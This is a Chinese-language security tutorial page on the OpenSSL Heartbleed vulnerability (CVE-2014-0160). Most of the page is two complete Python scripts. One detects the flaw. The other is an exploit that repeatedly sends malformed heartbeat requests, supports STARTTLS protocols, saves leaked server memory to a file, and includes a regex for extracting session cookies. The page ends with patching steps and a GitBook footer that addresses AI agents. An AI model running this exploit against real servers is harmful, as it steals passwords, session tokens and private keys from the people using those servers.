> For the complete documentation index, see [llms.txt](https://ninjia.gitbook.io/secskill/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ninjia.gitbook.io/secskill/sys/ssl.md).

# 3.4 OpenSSL 漏洞

## 心脏滴血漏洞(CVE-2014-0160)

## 漏洞描述

```
2014年4月7日，OpenSSL发布安全公告，在OpenSSL1.0.1版本及其OpenSSL 1.0.2 Beta1中存在严重漏洞，由于未能正确检测用户输入参数的长度，攻击者可以利用该漏洞，远程读取存在漏洞版本的OpenSSL服务器内存中64K的数据，获取内存中的用户名、密码、个人相关信息以及服务器的证书等私密信息。
```

## 漏洞复现

首先我们使用我们的poc进行漏洞检测.

```python
#!/usr/bin/python
# coding:utf-8
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import struct
import socket
import time
import select


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')


def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return False

        if typ == 24:
            return True

        if typ == 21:
            return False


def check(host, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(hello)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
        s.send(hb)
        if hit_hb(s):
            print "Heartbleed OpenSSL: %s : %s" % (host, str(port))
        else:
            print "Not Vulnerable."
        s.close()
    except:
        pass

if __name__ == '__main__':
    check('192.168.59.103', 443)
```

将check内的内容修改为你自己的地址与端口

出现如下界面则说明存在漏洞

![](http://ww1.sinaimg.cn/large/007F8GgBly1g31qk8solvj30jk05lweg.jpg)

使用exp脚本获取信息

```python
#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford
# (jspenguin@jspenguin.org)

# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols

# The authors disclaim copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(
    usage='%prog server [options]',
    description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443,
                   help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='',
                   help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')


def p(data):
    user = '/PHPSESSID(.*?)\./'
    reg = re.compile(user)
    print reg.findall(data)

key = ''


def hexdump(s):
    global key
    r = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in lin)
        # print '  %04x: %-48s %s' % (b, hxdat, pdat)
        # print "%s" % pdat.strip(),
        r = r + pdat
    fi = r.replace('..', '').replace('ZZZZZ', '').replace('\.\.', '')
    print "%s" % fi
    # p(r[:1500])
    if fi != key:
        f = open('result.txt', 'a')
        f.write(fi)
        f.close()
        key = fi
    # print
def recvall(s, length, timeout=4):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

BUFSIZ = 1024


def main():
    opts, args = options.parse_args()

    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print 'Connecting...'

    s.connect((args[0], opts.port))

    if opts.starttls != '':
        print 'Sending STARTTLS Protocol Command...'

    if opts.starttls == 'smtp':
        s.recv(BUFSIZ)
        s.send("EHLO openssl.client.net\n")
        s.recv(BUFSIZ)
        s.send("STARTTLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'pop3':
        s.recv(BUFSIZ)
        s.send("STLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'imap':
        s.recv(BUFSIZ)
        s.send("STARTTLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'ftp':
        s.recv(BUFSIZ)
        s.send("AUTH TLS\n")
        s.recv(BUFSIZ)

    if opts.starttls == 'xmpp':  # TODO: This needs SASL
        s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
        s.recv(BUFSIZ)

    print 'Sending Client Hello...'

    s.send(hello)

    print 'Waiting for Server Hello...'

    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    try:
        while 1:
            main()
    except:
        time.sleep(5)
        while 1:
            main()
```

执行：

> $ python exp.py 192.168.59.103

读取到的信息在当前目录下的 result.txt 内。

![](http://ww1.sinaimg.cn/large/007F8GgBly1g31qmp0habj31bl0cngoo.jpg)

批量版扫描软件

![](http://ww1.sinaimg.cn/large/007F8GgBly1g31qnv6lp3j30ip0ctjrz.jpg)

## 解决方案

1、OpenSSL 已经针对该漏洞发布了1.0.1g版本，如果用户所用OpenSSL是存在漏洞的1.0.1版本，

```
请升级到1.0.1g及其以上的版本；如果用户所用OpenSSL是1.0.2 Beta1版本，请升级到1.0.2 Beta2及其以上的版本。

以Linux系统源代码编译升级为例，具体操作步骤为：

1）检查服务器OpenSSL版本：

命令：root@localhost# openssl version 

结果：OpenSSL 1.0.1f 6 Jan 2014 

2）检查现有版本是否存在漏洞，存在漏洞的版本列表请参见OpenSSL漏洞详情页面（OpenSSL TLS Heartbleed 信息泄露漏洞）的受影响系统 

3）下载OpenSSL的新版本，官方下载页面（ http://openssl.org/source/）

4）解压缩，并安装新版本：

root@localhost# tar xvfz openssl-1.0.2a.tar.gz 

root@localhost# cd openssl-1.0.2a/ 

root@localhost# ./config 

root@localhost# make && make install 

5）再次检查OpenSSL版本，确认新版本已安装
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ninjia.gitbook.io/secskill/sys/ssl.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
